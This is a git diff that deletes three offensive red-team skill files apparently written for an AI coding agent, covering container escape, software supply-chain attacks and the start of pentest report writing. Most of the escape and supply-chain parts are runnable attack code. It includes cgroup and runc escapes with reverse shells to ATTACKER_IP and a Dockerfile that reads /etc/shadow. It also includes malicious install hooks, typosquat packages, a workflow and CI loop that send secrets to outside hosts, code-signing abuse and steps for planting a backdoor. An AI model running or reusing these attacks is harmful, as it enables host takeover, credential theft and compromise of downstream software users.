-# (requires host network namespace)
-```
-
-### CAP_DAC_READ_SEARCH Escape
-
-```bash
-# Bypass file permission checks for reading
-# Access host filesystem through /proc/1/root if hostPID is shared
-
-# Use open_by_handle_at to access files outside the container mount
-# This is the shocker exploit technique
-# Compile and run the shocker PoC:
-cat > /tmp/shocker.c << 'CEOF'
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <fcntl.h>
-#include <string.h>
-#include <unistd.h>
-#include <sys/stat.h>
-#include <stdlib.h>
-
-struct my_file_handle {
- unsigned int handle_bytes;
- int handle_type;
- unsigned char f_handle[8];
-};
-
-int main() {
- struct my_file_handle h;
- h.handle_bytes = 8;
- h.handle_type = 1;
- memset(h.f_handle, 0, sizeof(h.f_handle));
- // Brute force inode handles to access host /etc/shadow
- int mount_fd = open("/etc/hostname", O_RDONLY);
- // ... (PoC continues with handle iteration)
- return 0;
-}
-CEOF
-gcc -o /tmp/shocker /tmp/shocker.c
-```
-
----
-
-## Phase 5: Cgroup Escape (notify_on_release)
-
-The cgroup v1 `notify_on_release` mechanism executes a binary on the host when the last process in a cgroup exits. This is the classic container escape for containers with CAP_SYS_ADMIN.
-
-### Classic Cgroup Release Agent Escape
-
-```bash
-# Requires: CAP_SYS_ADMIN and cgroup v1
-# This runs a command on the HOST, not inside the container
-
-# Step 1: Find the container's cgroup mount
-mount | grep cgroup
-# Look for: cgroup on /sys/fs/cgroup/... type cgroup (rw,...)
-
-# Step 2: Create a child cgroup
-mkdir /sys/fs/cgroup/rdma/escape_cgroup 2>/dev/null || \
-mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && \
-mkdir /tmp/cgrp/escape_cgroup
-
-CGROUP_DIR="/tmp/cgrp"
-ESCAPE_DIR="${CGROUP_DIR}/escape_cgroup"
-
-# Step 3: Enable notify_on_release
-echo 1 > ${ESCAPE_DIR}/notify_on_release
-
-# Step 4: Find container filesystem path on host
-host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
-echo "Host path: ${host_path}"
-
-# Step 5: Set the release_agent to execute our payload
-echo "${host_path}/cmd" > ${CGROUP_DIR}/release_agent
-
-# Step 6: Write payload that runs on the host
-cat > /cmd << 'PAYLOAD'
-#!/bin/bash
-# This runs on the HOST
-cat /etc/hostname > /output
-id >> /output
-ps aux >> /output
-# Reverse shell to attacker
-bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
-PAYLOAD
-chmod +x /cmd
-
-# Step 7: Trigger the escape by putting a process in the cgroup and letting it exit
-echo $$ > ${ESCAPE_DIR}/cgroup.procs
-# The shell PID joins the cgroup, then when we create and exit a subshell:
-bash -c "echo \$\$ > ${ESCAPE_DIR}/cgroup.procs && exit"
-
-# Step 8: Check output
-sleep 1
-cat /output
-```
-
-### Cgroup Escape Variations
-
-```bash
-# Variation: Using devices cgroup subsystem
-mkdir /tmp/cgrp && mount -t cgroup -o devices cgroup /tmp/cgrp
-mkdir /tmp/cgrp/x
-echo 1 > /tmp/cgrp/x/notify_on_release
-host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
-echo "$host_path/cmd" > /tmp/cgrp/release_agent
-
-# Variation: Memory cgroup
-mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
-# Same pattern follows
-
-# Note: cgroup v2 unified hierarchy does not support release_agent
-# in the same way. Check cgroup version:
-stat -fc %T /sys/fs/cgroup/
-# "cgroup2fs" = v2, "tmpfs" = v1
-```
-
----
-
-## Phase 6: Runtime CVE Exploitation
-
-### CVE-2019-5736: runc Overwrite
-
-This vulnerability allows a container to overwrite the host runc binary, gaining code execution on the host whenever any container is started.
-
-```bash
-# Check runc version
-runc --version 2>/dev/null
-docker version 2>/dev/null | grep -A5 Server
-
-# Vulnerable: runc < 1.0.0-rc6
-# The attack overwrites /proc/self/exe (the runc binary) from inside the container
-
-# Step 1: Prepare the payload binary that replaces runc
-cat > /tmp/payload.sh << 'EXPLOIT'
-#!/bin/bash
-# This replaces the host runc binary
-# When admin next runs docker exec or docker run, our payload executes
-echo '#!/bin/bash' > /bin/bash_backup
-echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /bin/bash_backup
-chmod +x /bin/bash_backup
-EXPLOIT
-
-# Step 2: Overwrite /bin/sh to be a program that overwrites runc via /proc/self/exe
-# The actual exploit requires a compiled Go binary that:
-# 1. Opens /proc/self/exe for writing (which points to runc during exec)
-# 2. Writes attacker payload to it
-# 3. runc on host is now the attacker's binary
-
-# PoC tools: github.com/Frichetten/CVE-2019-5736-PoC
-# Compile the PoC, copy into container, and trigger via docker exec
-```
-
-### CVE-2024-21626: Leaky Vessels (runc)
-
-A file descriptor leak in runc allows containers to access the host filesystem by referencing leaked `/proc/self/fd` entries that point to the host working directory.
-
-```bash
-# Vulnerable: runc <= 1.1.11
-# The vulnerability is in the WORKDIR processing during container build/run
-
-# Check runc version
-runc --version
-
-# Exploitation concept:
-# 1. Craft a Dockerfile with WORKDIR /proc/self/fd/8 (or other FD number)
-# 2. The leaked file descriptor points to the host filesystem
-# 3. Building or running the image gives host filesystem access
-
-# Malicious Dockerfile example (build-time exploitation):
-cat > /tmp/Dockerfile.escape << 'DOCKERFILE'
-FROM ubuntu:latest
-# The leaked fd points to host CWD during build
-WORKDIR /proc/self/fd/8
-# This RUN now operates on the host filesystem
-RUN cat /etc/shadow > /tmp/shadow_dump || true
-DOCKERFILE
-
-# Runtime exploitation:
-# Container started with WORKDIR pointing to leaked fd
-# can read/write host files through the fd reference
-
-# Detection: Check for /proc/self/fd references in WORKDIR directives
-grep -r "WORKDIR.*proc/self/fd" /path/to/dockerfiles/
-```
-
-### CVE-2020-15257: Containerd Host Networking
-
-```bash
-# Containerd < 1.4.3, < 1.3.9
-# Containers sharing host network namespace can access containerd-shim API
-
-# Check if container uses host network
-cat /proc/1/ns/net | xargs readlink
-ip addr | grep docker0 # Seeing host interfaces indicates host network
-
-# Access containerd-shim abstract unix socket
-# from host network namespace container
-curl --unix-socket /run/containerd/containerd.sock \
- http://localhost/v1/namespaces
-```
-
----
-
-## Phase 7: Kernel Exploits from Container
-
-When other escape vectors are unavailable, kernel vulnerabilities may provide a path to host access since the container shares the host kernel.
-
-### Identifying Kernel Version
-
-```bash
-uname -a
-uname -r
-cat /proc/version
-
-# Check for known vulnerable kernels
-# DirtyPipe: CVE-2022-0847 (5.8 <= kernel < 5.16.11, 5.15.25, 5.10.102)
-# DirtyCow: CVE-2016-5195 (kernel < 4.8.3)
-# OverlayFS: CVE-2021-3493 (Ubuntu kernels)
-# nftables: CVE-2023-32233 (kernel < 6.4)
-```
-
-### DirtyPipe from Container (CVE-2022-0847)
-
-```bash
-# Overwrites read-only files via pipe page cache poisoning
-# Works from inside containers because it targets the shared kernel
-
-# Check kernel version
-uname -r
-# Vulnerable: 5.8 through 5.16.10
-
-# The exploit overwrites /etc/passwd on the HOST from the container
-# because the page cache is shared between host and container
-
-# Compile exploit (if gcc available in container)
-# PoC modifies root entry in /etc/passwd to remove password
-```
-
-### Checking Seccomp and AppArmor
-
-```bash
-# Check if seccomp is restricting syscalls
-cat /proc/1/status | grep Seccomp
-# Seccomp: 0 = disabled, 1 = strict, 2 = filter
-
-# Check AppArmor profile
-cat /proc/1/attr/current
-# "unconfined" means no AppArmor restriction
-
-# Check if kernel module loading is possible
-# (no seccomp + CAP_SYS_MODULE)
-modprobe test 2>&1
-insmod /tmp/evil.ko 2>&1
-```
-
----
-
-## Detection / Defender View
-
-Defenders monitoring for container escape should watch for:
-
-- **Process monitoring**: Unexpected processes with host PID namespace visibility. Processes spawned by container runtimes outside normal patterns (runc, containerd-shim creating shells).
-- **Filesystem events**: Mount operations inside containers (`mount` syscalls from container PIDs). New files appearing in host `/root/.ssh/authorized_keys`, `/etc/crontab`, `/etc/passwd`.
-- **Cgroup manipulation**: Creation of new cgroups with `notify_on_release` set to 1. Writes to `release_agent` files.
-- **Docker socket access**: API calls to Docker socket from within containers. Container creation requests that include `--privileged` or host mount binds.
-- **Capability anomalies**: Containers running with `CAP_SYS_ADMIN`, `CAP_SYS_PTRACE`, or other dangerous capabilities that are not required by the application.
-- **Audit rules**: Monitor for `nsenter` usage, `unshare` calls, and access to `/proc/*/ns/*` from container contexts.
-- **Falco rules**: Deploy runtime security with rules for unexpected shell spawns, sensitive file access, and privilege escalation inside containers.
-
-```bash
-# Falco rule example for detecting container escape attempts
-# - rule: Detect Container Escape via cgroup notify_on_release
-# desc: Detects write to notify_on_release in cgroup directory
-# condition: >
-# open_write and container and
-# fd.name contains "notify_on_release"
-# output: >
-# Container escape attempt via cgroup release_agent
-# (user=%user.name container=%container.name file=%fd.name)
-# priority: CRITICAL
-```
-
----
-
-## Engagement Cheatsheet
-
-```bash
-# --- Detection ---
-# Am I in a container?
-ls /.dockerenv 2>/dev/null && echo "Docker" || echo "Not Docker"
-cat /proc/1/cgroup | grep -qE 'docker|kubepods|containerd' && echo "Containerized"
-
-# What capabilities do I have?
-capsh --print 2>/dev/null || cat /proc/1/status | grep Cap
-
-# Is Docker socket available?
-ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock 2>/dev/null
-
-# Am I privileged?
-ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED (NET_ADMIN)" && ip link del dummy0
-mount -t tmpfs none /tmp/test 2>/dev/null && echo "PRIVILEGED (SYS_ADMIN)" && umount /tmp/test
-
-# Cgroup version?
-stat -fc %T /sys/fs/cgroup/
-
-# --- Exploitation (one-liners) ---
-# Privileged mount escape
-mkdir /mnt/host 2>/dev/null; mount /dev/sda1 /mnt/host; cat /mnt/host/etc/shadow
-
-# nsenter escape (with hostPID)
-nsenter -t 1 -m -u -i -n -p -- bash
-
-# Docker socket escape
-docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/h alpine chroot /h
-
-# Cgroup escape (CAP_SYS_ADMIN)
-d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null|head -n1)); mkdir -p $d/w; \
-echo 1 >$d/w/notify_on_release; t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab); \
-echo $t/c >$d/release_agent; printf '#!/bin/sh\nid>/o' >/c; chmod +x /c; \
-sh -c "echo 0 >$d/w/cgroup.procs"; sleep 1; cat /o
-
-# --- Post-Escape ---
-# Validate host access
-hostname; id; cat /etc/os-release; docker ps 2>/dev/null
-```
-
----
-
-## Key References
-
-- MITRE ATT&CK T1611 - Escape to Host
-- CVE-2019-5736 - runc container breakout via /proc/self/exe overwrite
-- CVE-2024-21626 - Leaky Vessels runc file descriptor leak
-- CVE-2020-15257 - containerd host network namespace API access
-- CVE-2022-0847 - DirtyPipe kernel privilege escalation
-- Tool: deepce - https://github.com/stealthcopter/deepce
-- Tool: CDK - https://github.com/cdk-team/CDK
-- Tool: amicontained - https://github.com/genuinetools/amicontained
-- Tool: nsenter - Linux util-linux package
-- Docker Socket Escape - https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation
-- CIS Docker Benchmark - runtime security configuration baselines
diff --git a/.claude/skills/claude-red/supply-chain/offensive-supply-chain/SKILL.md b/.claude/skills/claude-red/supply-chain/offensive-supply-chain/SKILL.md
deleted file mode 100644
index ecf5873..0000000
--- a/.claude/skills/claude-red/supply-chain/offensive-supply-chain/SKILL.md
+++ /dev/null
@@ -1,546 +0,0 @@
----
-name: offensive-supply-chain
-description: "Comprehensive offensive methodology for software supply chain attacks covering the full kill chain from reconnaissance through exploitation. Addresses dependency confusion across npm, PyPI, and NuGet ecosystems where internal registry override allows an attacker to inject malicious packages that shadow private dependencies. Covers typosquatting techniques for popular packages, compromised package injection via maintainer account takeover or social engineering, and build system attacks through Makefile injection, setup.py install hooks, and npm postinstall scripts. Extends into CI/CD artifact tampering where build outputs are replaced or modified in transit, code signing abuse through stolen or self-signed certificates, upstream repository compromise via commit injection or force-push to trusted repos, and container image supply chain attacks including base image trojaning and registry confusion. Maps to MITRE ATT&CK T1195.001 (Supply Chain Compromise: Compromise Software Dependencies and Development Tools) and T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain). Integrates tooling such as confused for dependency confusion scanning and dependency-check for known vulnerable component detection. Each technique section provides reproducible proof-of-concept patterns, detection guidance for defenders, and engagement-safe execution notes for authorized red team operations."
----
-
-# Offensive Supply Chain Attacks
-
-Software supply chain attacks exploit the trust relationships between developers,
-package registries, build systems, and deployment pipelines. You target the
-components and processes that organizations depend on but rarely audit with the
-same rigor as their own code. A single compromised dependency can propagate
-across thousands of downstream consumers, making supply chain the highest
-leverage attack surface in modern software ecosystems.
-
-This skill covers the offensive lifecycle: reconnaissance of internal package
-names, exploitation of registry resolution logic, build system hook abuse,
-CI/CD pipeline tampering, and container image supply chain attacks. Every
-technique maps to authorized red team engagement patterns with safe callback
-mechanisms.
-
-## Quick Workflow
-
-1. Enumerate internal package names from target artifacts (lock files, source maps, error messages, GitHub repos).
-2. Identify the package ecosystem (npm, PyPI, NuGet, Maven, Go, Ruby) and registry configuration.
-3. Select attack vector: dependency confusion, typosquatting, build hook injection, CI/CD tampering, or container supply chain.
-4. Prepare a safe proof-of-concept package with DNS canary or HTTP callback -- no destructive payload.
-5. Register the package on the public registry or stage the artifact for injection.
-6. Monitor for callback to confirm execution in the target environment.
-7. Document the attack path, affected systems, and remediation guidance.
-
----
-
-## Dependency Confusion
-
-Dependency confusion exploits the resolution order when an organization uses
-both private and public package registries. If the private registry is not
-configured as the exclusive source, the package manager may prefer a
-higher-versioned public package over the internal one.
-
-### npm Dependency Confusion
-
-When a project references an unscoped private package and the .npmrc does not
-pin the registry exclusively, npm falls back to the public registry.
-
-```bash
-# Recon: extract package names from package-lock.json or yarn.lock
-cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt
-
-# Check which names are unclaimed on the public npm registry
-while read pkg; do
- status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
- if [ "$status" = "404" ]; then
- echo "[AVAILABLE] $pkg"
- fi
-done < pkg_names.txt
-```
-
-```json
-// Malicious package.json with high version to win resolution
-{
- "name": "internal-utils",
- "version": "99.0.0",
- "scripts": {
- "preinstall": "curl https://your-canary.oastify.com/npm-$(hostname)-$(whoami)"
- }
-}
-```
-
-### PyPI Dependency Confusion
-
-Python's pip resolves packages from PyPI by default. When organizations use
-`--extra-index-url` to add a private registry, pip considers both indexes and
-selects the highest version.
-
-```bash
-# Recon: extract internal package names from requirements.txt or setup.cfg
-grep -v '^#' requirements.txt | grep -v '^\s*$' | \
- sed 's/[>=<].*//' | sed 's/\[.*//' | tr -d ' ' > pypi_names.txt
-
-# Check availability on public PyPI
-while read pkg; do
- status=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
- if [ "$status" = "404" ]; then
- echo "[AVAILABLE] $pkg"
- fi
-done < pypi_names.txt
-```
-
-```python
-# setup.py with install hook for safe callback
-from setuptools import setup
-from setuptools.command.install import install
-import os, socket, urllib.request
-
-class PostInstall(install):
- def run(self):
- install.run(self)
- hostname = socket.gethostname()
- user = os.getenv("USER", "unknown")
- urllib.request.urlopen(
- f"https://your-canary.oastify.com/pypi-{hostname}-{user}"
- )
-
-setup(
- name="internal-data-lib",
- version="99.0.0",
- cmdclass={"install": PostInstall},
-)
-```
-
-### NuGet Feed Priority
-
-NuGet resolves from multiple configured feeds. If a private feed is listed
-alongside nuget.org, the highest version across all feeds wins.
-
-```xml
-<!-- nuget.config exposing the vulnerability -->
-<configuration>
- <packageSources>
- <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
- <add key="internal" value="https://pkgs.corp.example.com/nuget/v3/index.json" />
- </packageSources>
-</configuration>
-```
-
-```bash
-# Check NuGet public registry for unclaimed names
-curl -s "https://api.nuget.org/v3-flatcontainer/corp.internal.auth/index.json" \
- | jq '.versions'
-# Empty or 404 means the name is available
-```
-
-### Automated Scanning with confused
-
-```bash
-# Install confused (Go-based dependency confusion scanner)
-go install github.com/visma-prodsec/confused@latest
-
-# Scan npm lock file for confusable packages
-confused -l npm package-lock.json
-
-# Scan Python requirements
-confused -l pip requirements.txt
-
-# Scan NuGet packages.config
-confused -l nuget packages.config
-```
-
----
-
-## Typosquatting Attacks
-
-Typosquatting relies on developers mistyping package names during installation.
-You register packages with names that are common misspellings, hyphen/underscore
-variants, or pluralization differences of popular packages.
-
-```bash
-# Generate typosquat candidates for a target package
-target="requests"
-echo "${target}s"
-echo "${target}1"
-echo "${target}-python"
-echo "python-${target}"
-echo "${target/e/3}"
-echo "${target}lib"
-echo "${target}-utils"
-```
-
-```python
-# setup.py for a typosquat PoC -- safe callback only
-from setuptools import setup
-from setuptools.command.install import install
-import urllib.request, socket
-
-class Callback(install):
- def run(self):
- install.run(self)
- h = socket.gethostname()
- urllib.request.urlopen(f"https://canary.example.com/typo-{h}")
-
-setup(
- name="reqeusts", # common transposition typo
- version="2.31.0",
- description="This is a security research package.",
- cmdclass={"install": Callback},
- python_requires=">=3.6",
-)
-```
-
-```javascript
-// package.json for npm typosquat PoC
-{
- "name": "loadash",
- "version": "4.17.21",
- "description": "Security research package - typosquat detection",
- "scripts": {
- "preinstall": "node -e \"require('https').get('https://canary.example.com/npm-typo-' + require('os').hostname())\""
- }
-}
-```
-
----
-
-## Build System Attacks
-
-Build systems execute arbitrary code during compilation, installation, and
-packaging. You target the hooks and scripts that run implicitly when a developer
-builds or installs a dependency.
-
-### Makefile Injection
-
-```makefile
-# Injected target that runs before the default build
-.PHONY: all
-all: backdoor build
-
-backdoor:
- @curl -s https://canary.example.com/make-$$(hostname) > /dev/null 2>&1
-
-build:
- gcc -o app main.c
-```
-
-### setup.py Install Hooks (Python)
-
-```python
-# setup.py with multiple hook points
-from setuptools import setup
-from setuptools.command.install import install
-from setuptools.command.develop import develop
-from setuptools.command.egg_info import egg_info
-
-def callback():
- import urllib.request, socket
- urllib.request.urlopen(
- f"https://canary.example.com/setup-{socket.gethostname()}"
- )
-
-class InstallHook(install):
- def run(self):
- callback()
- install.run(self)
-
-class DevelopHook(develop):
- def run(self):
- callback()
- develop.run(self)
-
-class EggInfoHook(egg_info):
- def run(self):
- callback()
- egg_info.run(self)
-
-setup(
- name="compromised-lib",
- version="1.0.0",
- cmdclass={
- "install": InstallHook,
- "develop": DevelopHook,
- "egg_info": EggInfoHook,
- },
-)
-```
-
-### npm postinstall / preinstall Scripts
-
-```json
-{
- "name": "compromised-module",
- "version": "1.0.0",
- "scripts": {
- "preinstall": "node callback.js",
- "postinstall": "node callback.js",
- "prepare": "node callback.js"
- }
-}
-```
-
-```javascript
-// callback.js -- safe exfiltration of environment metadata
-const https = require('https');
-const os = require('os');
-
-const data = JSON.stringify({
- hostname: os.hostname(),
- user: os.userInfo().username,
- platform: os.platform(),
- cwd: process.cwd(),
- env_ci: process.env.CI || "false",
- env_build_id: process.env.BUILD_ID || "none"
-});
-
-const req = https.request({
- hostname: 'canary.example.com',
- port: 443,
- path: '/npm-postinstall',
- method: 'POST',
- headers: { 'Content-Type': 'application/json' }
-}, () => {});
-req.write(data);
-req.end();
-```
-
----
-
-## CI/CD Artifact Tampering
-
-CI/CD pipelines produce artifacts -- binaries, container images, packages --
-that downstream systems consume with implicit trust. You target the artifact
-storage, transfer, and verification stages.
-
-### GitHub Actions Workflow Injection
-
-```yaml
-# Malicious workflow exploiting pull_request_target
-name: Build
-on:
- pull_request_target:
- types: [opened, synchronize]
-
-jobs:
- build:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@v4
- with:
- ref: ${{ github.event.pull_request.head.sha }}
- # Attacker-controlled code now runs with repo secrets
- - run: |
- curl -s -d "token=${{ secrets.DEPLOY_TOKEN }}" \
- https://canary.example.com/gha-secrets
-```
-
-### Artifact Replacement in Storage
-
-```bash
-# If artifact storage uses predictable paths or weak auth
-# Replace a legitimate build artifact with a trojanized version
-aws s3 cp trojanized-app.tar.gz s3://build-artifacts/releases/app-latest.tar.gz
-
-# Verify no integrity checks exist
-curl -s https://releases.example.com/app-latest.tar.gz.sha256
-# 404 -- no checksum published, replacement goes undetected
-```
-
-### Pipeline Secret Extraction
-
-```bash
-# In a compromised CI job, enumerate available secrets
-env | grep -iE '(token|secret|key|pass|api)' | \
- while read line; do
- curl -s "https://canary.example.com/ci-env?$(echo $line | base64 -w0)"
- done
-```
-
----
-
-## Container Image Supply Chain
-
-Container registries and base images form a parallel supply chain. You target
-the image pull resolution, base image integrity, and registry authentication.
-
-### Base Image Trojaning
-
-```dockerfile
-# Attacker publishes a trojanized version of a common base image
-FROM ubuntu:22.04
-
-# Inject persistence into the base image
-RUN apt-get update && apt-get install -y curl && \
- echo '#!/bin/bash' > /usr/local/bin/entrypoint-hook.sh && \
- echo 'curl -s https://canary.example.com/container-$(hostname) &' >> /usr/local/bin/entrypoint-hook.sh && \
- echo 'exec "$@"' >> /usr/local/bin/entrypoint-hook.sh && \
- chmod +x /usr/local/bin/entrypoint-hook.sh
-
-ENTRYPOINT ["/usr/local/bin/entrypoint-hook.sh"]
-```
-
-### Registry Confusion
-
-```bash
-# If Dockerfile uses unqualified image names, Docker resolves from Docker Hub
-# A private registry image "myapp/backend" can be shadowed
-docker pull myapp/backend # resolves to docker.io/myapp/backend
-
-# Attacker registers docker.io/myapp/backend with a trojanized image
-# Targets that do not pin their registry prefix pull the attacker image
-```
-
-### Image Tag Mutability Attacks
-
-```bash
-# Tags are mutable -- attacker with registry write access replaces a tag
-# Target pulls "myimage:latest" or "myimage:v1.2" and gets the trojanized version
-
-# Verify image digest before and after
-docker inspect --format='{{index .RepoDigests 0}}' myimage:v1.2
-# Compare against known-good digest
-# sha256:abc123... vs sha256:def456... indicates tampering
-```
-
----
-
-## Code Signing Abuse
-
-Code signing provides authenticity guarantees, but the signing infrastructure
-itself presents attack surface.
-
-```bash
-# Generate a self-signed certificate mimicking a legitimate publisher
-openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 \
- -subj "/CN=Trusted Publisher Inc/O=Trusted Publisher/C=US" -nodes
-
-# Sign a malicious binary (Windows Authenticode example)
-osslsigncode sign -certs cert.pem -key key.pem \
- -n "Legitimate Application" -i https://legitimate-publisher.com \
- -in malicious.exe -out signed-malicious.exe
-
-# Many systems check "is it signed?" but not "by whom?"
-```
-
-```bash
-# Steal signing keys from CI/CD environment variables
-# Common locations for code signing secrets
-echo $SIGNING_KEY
-echo $CODE_SIGN_CERT
-echo $GPG_PRIVATE_KEY
-cat ~/.gnupg/private-keys-v1.d/*
-```
-
----
-
-## Upstream Repository Compromise
-
-Compromising the source repository of a widely-used dependency gives you
-code execution in every downstream consumer that updates.
-
-```bash
-# Enumerate maintainer accounts with weak security
-# Look for maintainers without 2FA, reused passwords, or abandoned emails
-# Check npm package maintainers
-npm view lodash maintainers
-
-# Check GitHub commit signing
-git log --show-signature -5
-
-# Unsigned commits mean a compromised account can push without detection
-```
-
-```bash
-# After gaining maintainer access, inject a subtle backdoor
-# Modify a rarely-reviewed utility function
-git checkout -b patch-perf-improvement
-# Edit a deeply nested file
-# Commit with a benign-looking message
-git commit -m "perf: optimize string comparison for edge cases"
-git push origin patch-perf-improvement
-# Create a PR and merge quickly before review
-```
-
----
-
-## Detection / Defender View
-
-Defenders should implement the following controls to detect and prevent
-supply chain attacks:
-
-1. **Registry pinning**: Configure package managers to use only the private registry
- as the exclusive source. For npm, use scoped packages. For pip, use `--index-url`
- (not `--extra-index-url`). For NuGet, use `<clear />` before adding feeds.
-
-2. **Lock file integrity**: Monitor lock files for unexpected changes in package
- sources, versions, or checksums. Require lock file review in pull requests.
-
-3. **Build reproducibility**: Implement reproducible builds and compare artifacts
- across independent build environments.
-
-4. **Dependency scanning**: Run `dependency-check`, `npm audit`, `pip-audit`,
- or Snyk in CI pipelines to catch known-vulnerable and suspicious packages.
-
-5. **Image pinning**: Reference container images by digest, not tag.
- Use `image: registry.example.com/app@sha256:abc123...` instead of `:latest`.
-
-6. **Sigstore / cosign**: Verify container image signatures and SBOMs.
- Monitor for unsigned images entering production.
-
-7. **CI/CD hardening**: Restrict `pull_request_target` triggers, pin action
- versions by commit SHA, audit workflow permissions, and rotate secrets.
-
-8. **Internal package reservation**: Proactively register internal package names
- on public registries with placeholder packages to prevent squatting.
-
-```bash
-# Detect dependency confusion attempts with confused
-confused -l npm package-lock.json 2>&1 | grep "could be"
-
-# Monitor for unexpected outbound DNS/HTTP from build environments
-# Alert on connections to unknown domains during install/build phases
-
-# Audit npm packages for install scripts
-npm pack <package> && tar -xzf *.tgz && cat package/package.json | jq '.scripts'
-```
-
----
-
-## Engagement Cheatsheet
-
-| Phase | Action | Risk Level |
-|-----------------|----------------------------------------------------|------------|
-| Recon | Extract internal package names from lock files | Low |
-| Recon | Check public registry availability | Low |
-| Staging | Register PoC package with DNS canary callback | Medium |
-| Exploitation | Wait for target to install/build with confusion | Medium |
-| Validation | Confirm callback received, document scope | Low |
-| Cleanup | Remove PoC packages from public registries | Low |
-| Reporting | Document attack path and remediation steps | Low |
-
-**Safe PoC guidelines:**
-
-- Use DNS canary (Burp Collaborator, interactsh, or custom) for callback.
-- Never deploy destructive payloads. Exfiltrate only hostname and username.
-- Register packages with clear security research descriptions.
-- Remove all PoC packages from public registries within the engagement window.
-- Coordinate with the target's security team before publishing to public registries.
-
-**MITRE ATT&CK mapping:**
-
-- T1195.001 -- Compromise Software Dependencies and Development Tools
-- T1195.002 -- Compromise Software Supply Chain
-- T1059.006 -- Command and Scripting Interpreter: Python (setup.py hooks)
-- T1059.007 -- Command and Scripting Interpreter: JavaScript (npm scripts)
-
----
-
-## Key References
-
-- Alex Birsan, "Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies" (2021)
-- MITRE ATT&CK T1195 -- Supply Chain Compromise: https://attack.mitre.org/techniques/T1195/
-- confused scanner: https://github.com/visma-prodsec/confused
-- OWASP Dependency-Check: https://owasp.org/www-project-dependency-check/
-- npm security advisories: https://github.com/advisories
-- Sigstore / cosign: https://www.sigstore.dev/
-- SLSA (Supply-chain Levels for Software Artifacts): https://slsa.dev/
-- "Backstabber's Knife Collection" -- academic survey of malicious packages (2020)
-- Snyk supply chain security research: https://snyk.io/blog/
-- GitHub Advisory Database: https://github.com/advisories
diff --git a/.claude/skills/claude-red/utility/offensive-reporting/SKILL.md b/.claude/skills/claude-red/utility/offensive-reporting/SKILL.md
deleted file mode 100644
index 536c2dd..0000000
--- a/.claude/skills/claude-red/utility/offensive-reporting/SKILL.md
+++ /dev/null
@@ -1,371 +0,0 @@
----
-name: offensive-reporting
-description: "Penetration test and red team report writing methodology. Covers executive summary structuring (risk-led narrative for non-technical readers), technical finding format (title, severity, affected scope, narrative, reproduction steps, impact, remediation, references), CVSS v3.1 / v4.0 scoring with vector justification, OWASP risk rating, evidence hygiene (redacting credentials, hashing client data, time-stamping every action), screenshot and PoC artifact management, finding chain narratives, scope/limitations/assumptions documentation, retest evidence and remediation tracking, deliverable formats (PDF, DOCX, HTML, JSON for SIEM ingestion), client-customer-deliverable separation, and common report mistakes (over-CVSSing, undermining the triager, missing the 'so what'). Use at the end of an engagement when authoring a deliverable, when restructuring a draft for executive readability, or when establishing a reusable report template for a consulting practice."
----
-
-# Penetration Test Reporting — Professional Methodology
-
-A great finding lost in a bad report is a wasted finding. Reports are the artifact the client pays for, the auditor reads, and the developer fixes from. Treat the report with the same rigor as the exploit.
-
-## Quick Workflow
-
-1. Capture evidence as you exploit — never reconstruct after the fact
-2. Draft each finding immediately while context is fresh; one finding = one numbered file
-3. Build the executive summary last, after all findings are scored
-4. Two-pass review: technical accuracy first, then read-as-CISO for narrative
-5. Hand off with a retest plan and a JSON/CSV index for the client's tracking system
-
----
-
-## Report Structure (Standard)
-
-```
-1. Executive Summary ← Last to write, first read
-2. Engagement Overview
- 2.1 Scope
- 2.2 Methodology
- 2.3 Limitations / Assumptions
- 2.4 Timeline
- 2.5 Team
-3. Risk Summary ← Heatmap, finding count by severity
-4. Technical Findings ← One per finding, sorted by severity
-5. Attack Narratives / Chains ← Critical chains called out separately
-6. Strategic Recommendations ← Programmatic, not finding-by-finding
-7. Appendices
- A. Tools Used
- B. Indicators of Compromise (for blue team)
- C. Raw Evidence Pointers
- D. Glossary
-```
-
----
-
-## Executive Summary — The 90-Second Read
-
-The executive summary is for the CISO, the GRC officer, and the board member. They read this and nothing else.
-
-**Structure (one page max):**
-
-1. **Engagement context** — what was tested, when, by whom (1 sentence)
-2. **Headline finding** — the worst thing you found, in business terms (2–3 sentences)
-3. **Risk verdict** — overall posture in plain language (1 paragraph)
-4. **Counts** — number of findings by severity, in a small table
-5. **Top 3 strategic recommendations** — programmatic fixes, not "patch CVE-X"
-
-**Words to avoid in the executive summary:**
-`payload`, `RCE`, `XSS`, `LDAP`, `SMB`, `kerberos`, `injection`. Translate every one. ("An attacker could run arbitrary commands on the server" not "RCE via deserialization gadget chain.")
-
-**Words to include:**
-Business impact (`customer data`, `regulatory exposure`, `operational disruption`, `financial loss`). Anchor every finding to a business consequence.
-
----
-
-## Technical Finding Template
-
-```markdown
-## Finding ID — Short Descriptive Title
-
-**Severity:** Critical (CVSS 9.8 — vector below)
-**Affected Scope:** <hosts/URLs/components, with version where relevant>
-**Status:** Open / Fixed in retest / Accepted Risk
-**CWE:** CWE-89 (SQL Injection)
-**OWASP:** A03:2021 — Injection
-
-### Summary
-One paragraph. What is the finding, why does it matter, what's the worst case.
-
-### Background
-What technology is involved and why this class of bug exists. Two paragraphs max.
-Skip if obvious (e.g. don't explain XSS to an XSS shop).
-
-### Description
-Detailed walkthrough of the issue. The root cause, not just the symptom.
-
